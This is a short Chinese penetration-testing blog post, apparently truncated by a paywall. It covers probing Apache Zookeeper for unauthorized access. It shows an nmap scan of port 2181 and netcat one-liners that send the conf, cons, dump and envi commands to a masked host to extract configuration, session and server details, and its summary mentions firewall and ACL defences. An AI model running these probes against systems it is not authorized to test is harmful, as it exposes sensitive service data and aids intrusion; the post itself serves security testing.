本文介绍了如何在Kali Linux中利用nmap扫描Zookeeper服务，并通过zkCli.sh客户端进行未授权访问测试。内容包括conf、cons、dump和envi等命令的使用，以及发现的安全隐患。针对这些问题，提出了设置防火墙策略限制IP访问、避免外网暴露Zookeeper服务和启用用户认证与ACL等防护措施。
首先nmap扫描一波
root@kali:~# nmap -Pn -p 2181 xx.xx.xx.xx
conf命令：输出相关服务配置的详细信息，端口、数据路径、日志路径、session 超时时间，最大连接数等。
root@kali:~# echo conf | nc xx.xx.xx.xx 2181
cons命令：列出所有连接到当前服务器的客户端/会话的详细信息。
root@kali:~# echo cons | nc xx.xx.xx.xx 2181 | more
dump命令：输出未处理的会话和临时节点，leader 节点有效。
root@kali:~# echo dump | nc xx.xx.xx.xx 2181 | more
非 leader 节点看不到什么相关信息。
envi命令：输出服务器的详细信息。
root@kali:~# echo envi | nc xx.xx.xx.xx 2181
连接测试
最低0.47元/天 解锁文章
2221
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
